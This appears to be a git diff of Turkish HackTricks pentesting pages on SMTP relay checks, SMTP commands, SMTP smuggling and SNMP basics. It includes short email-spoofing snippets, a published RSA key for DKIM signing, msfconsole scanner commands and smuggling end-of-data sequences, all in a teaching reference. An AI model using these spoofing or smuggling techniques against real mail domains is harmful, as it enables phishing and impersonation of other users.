kaynaktan e-posta iletebileceği anlamına gelir), genellikle `nmap` aracı kullanılır. Bu testi yapmak için özel olarak tasarlanmış bir betik içerir. Örneğin, `nmap` kullanarak 10.10.10.10 IP adresine ve 25 numaralı porta sahip bir sunucuda ayrıntılı bir tarama yapmak için kullanılan komut: +E-posta sunucusunun açık bir röle olup olmadığını kontrol etmek için genellikle `nmap` aracı kullanılır. Bu amaçla tasarlanmış belirli bir betiği içerir. Bir sunucuda (örneğin, IP'si 10.10.10.10 olan) 25 numaralı bağlantı noktasında ayrıntılı bir tarama yapmak için `nmap` kullanımı şu şekildedir: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -519,7 +397,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPF ve DMARC yanlış yapılandırmalarını kontrol etmek için** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **SPF ve DMARC yapılandırmalarını otomatik olarak almak için** -### Sahte E-posta Gönderme +### Sahte E-posta Gönder * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) @@ -536,7 +414,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE ``` {% hint style="warning" %} Eğer dkim python kütüphanesini kullanırken anahtarı ayrıştırırken herhangi bir hata alırsanız, aşağıdaki anahtarı kullanmaktan çekinmeyin.\ -**NOT**: Bu, openssl özel anahtarının bir nedenle dkim tarafından ayrıştırılamadığı durumlarda hızlı kontrol yapmak için yapılan geçici bir düzeltmedir. +**NOT**: Bu, openssl özel anahtarının dkim tarafından ayrıştırılamadığı durumlarda hızlı kontroller yapmak için yapılmış basit bir düzeltmedir. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt @@ -560,8 +438,8 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== {% tabs %} {% tab title="PHP" %} -
# Bu, imzasız bir ileti gönderecektir
-mail("sizin_email@gmail.com", "Test Konusu!", "hey! Bu bir test", "Kimden: administrator@kurban.com");
+
# Bu, imzalanmamış bir ileti gönderecektir
+mail("your_email@gmail.com", "Test Konu!", "hey! Bu bir testtir", "Kimden: administrator@victim.com");
 
{% endtab %} @@ -626,28 +504,28 @@ s.sendmail(sender, [destination], msg_data) ### **Daha fazla bilgi** -Bu korumalar hakkında daha fazla bilgiye [buradan](https://seanthegeek.net/459/demystifying-dmarc/) ulaşabilirsiniz. +Bu korumalar hakkında daha fazla bilgiyi [şu adresten](https://seanthegeek.net/459/demystifying-dmarc/) bulabilirsiniz. ### **Diğer phishing belirteçleri** -* Alan adının yaşı +* Alanın yaşı * IP adreslerine işaret eden bağlantılar * Bağlantı manipülasyon teknikleri * Şüpheli (sıradışı) ekler * Bozuk e-posta içeriği -* Posta başlıklarındaki değerlerle farklı olan değerlerin kullanılması +* Posta başlıklarındakilerden farklı değerlerin kullanılması * Geçerli ve güvenilir bir SSL sertifikasının varlığı * Sayfanın web içerik filtreleme sitelerine gönderilmesi -## SMTP aracılığıyla Veri Sızdırma +## SMTP Aracılığıyla Veri Sızdırma -**Eğer SMTP üzerinden veri gönderebiliyorsanız** [**burayı okuyun**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** +Eğer SMTP aracılığıyla veri gönderebiliyorsanız, [burayı okuyun](../../generic-methodologies-and-resources/exfiltration.md#smtp). ## Yapılandırma dosyası ### Postfix -Genellikle, eğer yüklüyse, `/etc/postfix/master.cf` dosyası **kullanıcı tarafından alınan yeni bir e-posta olduğunda yürütülecek** **komut dosyalarını içerir**. Örneğin, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, yeni bir e-posta kullanıcı mark tarafından alındığında `/etc/postfix/filtering` dosyasının yürütüleceği anlamına gelir. +Genellikle, kuruluysa, `/etc/postfix/master.cf` içinde bir kullanıcı tarafından yeni bir posta alındığında örneğin **yürütülecek betikler** içerir. Örneğin, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, yeni bir posta kullanıcı mark tarafından alındığında `/etc/postfix/filtering`'in yürütüleceği anlamına gelir. Diğer yapılandırma dosyaları: ``` @@ -655,10 +533,9 @@ sendmail.cf submit.cf ``` ## Referanslar -* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) -* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/) -## HackTricks Otomatik Komutları +* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) +* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/) ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. @@ -709,21 +586,22 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. +**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar gider. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. {% embed url="https://pentest-tools.com/" %} +
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md index 18c16d83a..30dea4be9 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -2,81 +2,81 @@
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Bu araçlar ve modüller, pentester'ları değiştirmiyor - onlara daha derine inme, kabuk açma ve eğlenme için zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %} **Komutlar:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) **HELO**\ -Bu, ilk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adıyla devam eder. +Bu ilk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adı ile devam eder. **EHLO**\ -Konuşmayı başlatmak için alternatif bir komut olup sunucunun Genişletilmiş SMTP protokolünü kullandığını belirtir. +Konuşmayı başlatmak için alternatif bir komut, sunucunun Genişletilmiş SMTP protokolünü kullandığını belirtir. **MAIL FROM**\ -Bu SMTP komutuyla işlemler başlar: gönderen, "Kimden" alanında kaynak e-posta adresini belirtir ve e-posta transferini gerçekten başlatır. +Bu SMTP komutuyla işlemler başlar: gönderen, "Kimden" alanında kaynak e-posta adresini belirtir ve aslında e-posta transferini başlatır. **RCPT TO**\ -E-postanın alıcısını belirler; birden fazla alıcı varsa, komut sadece adres adres olarak tekrarlanır. +E-postanın alıcısını tanımlar; birden fazla varsa, komut sadece adres adresine tekrarlanır. **SIZE**\ -Bu SMTP komutu, ekli e-postanın tahmini boyutunu (bayt cinsinden) uzak sunucuya bildirir. Ayrıca sunucu tarafından kabul edilecek bir ileti için maksimum boyutu bildirmek için de kullanılabilir. +Bu SMTP komutu, ekli e-postanın tahmini boyutunu (bayt cinsinden) uzak sunucuya bildirir. Ayrıca, sunucunun kabul edilecek bir ileti boyutunu bildirmek için de kullanılabilir. **DATA**\ -DATA komutuyla e-posta içeriği aktarılmaya başlar; genellikle sunucu tarafından verilen 354 yanıt koduyla birlikte gelir ve gerçek iletimi başlatma izni verir. +DATA komutuyla e-posta içeriği aktarılmaya başlar; genellikle sunucu tarafından verilen 354 yanıt kodu ile takip edilir, gerçek iletimi başlatma izni verir. **VRFY**\ Sunucudan belirli bir e-posta adresinin veya kullanıcı adının gerçekten var olup olmadığını doğrulaması istenir. **TURN**\ -Bu komut, yeni bir bağlantı çalıştırmadan istemci ve sunucu arasındaki rolleri tersine çevirmek için kullanılır. +Bu komut, istemci ve sunucu arasındaki rolleri tersine çevirmek için kullanılır, yeni bir bağlantı çalıştırmaya gerek olmadan. **AUTH**\ -AUTH komutuyla istemci, kullanıcı adını ve parolasını vererek sunucuya kimlik doğrulaması yapar. Doğru bir iletimi garanti etmek için başka bir güvenlik katmanıdır. +AUTH komutuyla istemci, kullanıcı adını ve şifresini vererek sunucuya kimlik doğrular. Doğru bir iletimi garanti etmek için başka bir güvenlik katmanıdır. **RSET**\ -Devam eden e-posta iletiminin sona ereceğini sunucuya bildirir, ancak SMTP konuşması kapatılmaz (QUIT durumunda olduğu gibi). +Devam eden e-posta iletiminin sona ereceğini, ancak SMTP konuşmasının kapatılmayacağını (QUIT durumunda olduğu gibi) sunucuya bildirir. **EXPN**\ -Bu SMTP komutu, bir posta listesinin tanımlanması hakkında bir onay istemektedir. +Bu SMTP komutu, bir posta listesinin tanımlanması hakkında bir onay istiyor. **HELP**\ -Bu, başarılı bir e-posta transferi için yararlı olabilecek bazı bilgileri isteyen bir istemci isteğidir. +Bu, e-postanın başarılı bir şekilde aktarılması için yararlı olabilecek bazı bilgileri isteyen bir istemcidir. **QUIT**\ SMTP konuşmasını sonlandırır. -
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Bu araçlar ve modüller, pentester'ları değiştirmiyor - onlara daha derine inme, kabuk açma ve eğlenme için zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %}
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md new file mode 100644 index 000000000..4d20efcf3 --- /dev/null +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -0,0 +1,59 @@ +# SMTP Smuggling + +
+ +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! + +HackTricks'ı desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** + +
+ +## Temel Bilgiler + +Bu tür bir zayıflık [**bu yazıda orijinal olarak keşfedildi**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ve SMTP protokolünün bir e-postayı sonlandırırken nasıl yorumlandığındaki farklılıklardan yararlanarak, bir saldırganın meşru bir e-postanın gövdesine daha fazla e-posta sokmasına izin verdiği açıklanmıştır, etkilenen alanın diğer kullanıcılarını (örneğin admin@outlook.com gibi) taklit etmesine olanak tanırken SPF gibi savunmaları atlamasına izin verir. + +### Neden + +Bu, SMTP protokolünde, e-postada gönderilecek olan **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edildiği için mümkündür ve bu, alıcıya ekstra e-postaları kaçırmak için ayrımcılıkları kötüye kullanan özel olarak oluşturulmuş veriler gönderebilecek bir saldırganın (saldırgan) varlığına izin verir. Bu zayıflıktan kötüye kullanma olasılığı olan bu örneğe bakın: + +

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+ +### Nasıl + +Bu zayıflığı sömürmek için bir saldırganın, **Giden SMTP sunucusunun bir e-posta olduğunu düşündüğü ancak Gelen SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermesi gerekir**. + +Araştırmacılar, farklı **Gelen sunucuların e-posta mesajının veri sonunu farklı karakterler olarak düşündüğünü keşfettiler**.\ +Örneğin, düzenli bir veri sonu `\r\n.\r\n`'dir. Ancak Gelen SMTP sunucusu ayrıca `\n.\n`'yi de destekliyorsa, bir saldırgan sadece **bu veriyi e-postasına ekleyebilir ve önceki resimde olduğu gibi onu kaçırmak için yeni SMTP komutlarını belirtmeye başlayabilir**. + +Tabii ki, bu yalnızca **Giden SMTP sunucusunun bu veriyi** de mesaj verisinin sonu olarak ele almazsa çalışabilir, çünkü o zaman 1 yerine 2 e-posta görecektir, bu nedenle sonuçta bu, bu zayıflıktan kötüye kullanılan desenkronizasyondur. + +Potansiyel desenkronizasyon verileri: + +* `\n.\n` +* `\n.\r\n` + +Ayrıca SPF'nin atlatıldığını unutmayın çünkü `admin@outlook.com` adresinden bir e-postayı `user@outlook.com` adresinden kaçırırsanız, **gönderen hala `outlook.com` olacaktır.** + +## **Referanslar** + +* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) + +
+ +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! + +HackTricks'ı desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** + +
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index 35da86918..0c3c887ff 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -1,28 +1,28 @@ -# 161,162,10161,10162/udp - SNMP Sızma Testi +# 161,162,10161,10162/udp - SNMP Pentesting
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulması gerekmektedir_). +Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_). {% embed url="https://www.stmcyber.com/careers" %} ## Temel Bilgiler -**SNMP - Basit Ağ Yönetim Protokolü**, ağdaki farklı cihazları izlemek için kullanılan bir protokoldür (örneğin yönlendiriciler, switchler, yazıcılar, IoT'ler...). +**SNMP - Basit Ağ Yönetim Protokolü**, ağdaki farklı cihazları izlemek için kullanılan bir protokoldür (örneğin yönlendiriciler, anahtarlar, yazıcılar, IoT'ler...). ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -33,8 +33,8 @@ SNMP ayrıca **tuzaklar** için **162/UDP** bağlantı noktasını da kullanır. ### MIB -SNMP erişiminin farklı üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, cihaz bilgilerini depolamak için **bağımsız bir formattır**. MIB, tüm sorgulanabilir **SNMP nesnelerinin** bir cihazda **standartlaştırılmış** ağaç hiyerarşisinde listelendiği bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir ve gerekli **benzersiz adresin yanı sıra bir isim**, ayrıca ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\ -MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve nasıl görüneceğini açıklar, belirli OID'ler için değerleri döndürür veya hangi veri türünün kullanıldığını belirtir. +SNMP erişiminin farklı üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, cihaz bilgilerini depolamak için **bağımsız bir formattır**. MIB, tüm sorgulanabilir **SNMP nesnelerinin** standartlaştırılmış bir ağaç hiyerarşisinde listelendiği bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir ve gerekli **benzersiz adresin yanı sıra bir isim** de sağlar ve ayrıca ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi verir.\ +MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve nasıl görüneceğini açıklar, belirli OID'ler için değerler döndürür veya hangi veri türünün kullanıldığını belirtir. ### OIDs @@ -42,12 +42,12 @@ MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin fo MIB nesne kimliklerinin en üst seviyeleri, çeşitli standart belirleme kuruluşlarına tahsis edilmiştir. Küresel yönetim uygulamaları ve standartlar çerçevesi bu üst seviyelerde oluşturulur. -Ayrıca, satıcılar özel dallar oluşturma özgürlüğüne sahiptir. Bu dallar içinde, kendi ürün hatlarıyla ilgili yönetilen nesneleri eklemek için **özerklikleri vardır**. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlamak ve yönetmek için yapılandırılmış ve düzenli bir yöntem olduğunu sağlar. +Ayrıca, satıcılar özel dallar oluşturma özgürlüğüne sahiptir. Bu dallar içinde, **kendi ürün hatlarıyla ilgili yönetilen nesneleri eklemek için özerklikleri vardır**. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlamak ve yönetmek için yapılandırılmış ve düzenli bir yöntem olduğunu sağlar. ![](../../.gitbook/assets/snmp_oid_mib_tree.png) -Bir **OID ağacı** üzerinden **gezebilirsiniz** buradan: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya bir OID'nin ne anlama geldiğini görebilirsiniz (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içindeki gibi **tanınmış OID'ler** bulunmaktadır, bu, MIB-2 tanımlı Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine referans verir. Ve bu OID'lerden **elde edilen** bazı ilginç ana bilgisayar verilerini (sistem verileri, ağ verileri, işlem verileri...) alabilirsiniz. +Bir **OID ağacı** üzerinde **gezebilirsiniz** buradan: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya bir OID'nin ne anlama geldiğini görebilirsiniz (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ +[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içindeki gibi **tanınmış OID'ler** bulunmaktadır, bu, MIB-2 tarafından tanımlanan Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine referans verir. Ve bu OID'lerden **elde edilen bazı ilginç ana bilgisayar verilerini** (sistem verileri, ağ verileri, işlem verileri...) alabilirsiniz. ### **OID Örneği** @@ -55,14 +55,14 @@ Bir **OID ağacı** üzerinden **gezebilirsiniz** buradan: [http://www.oid-info. **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** -Bu adresin ayrıntıları aşağıdaki gibidir. 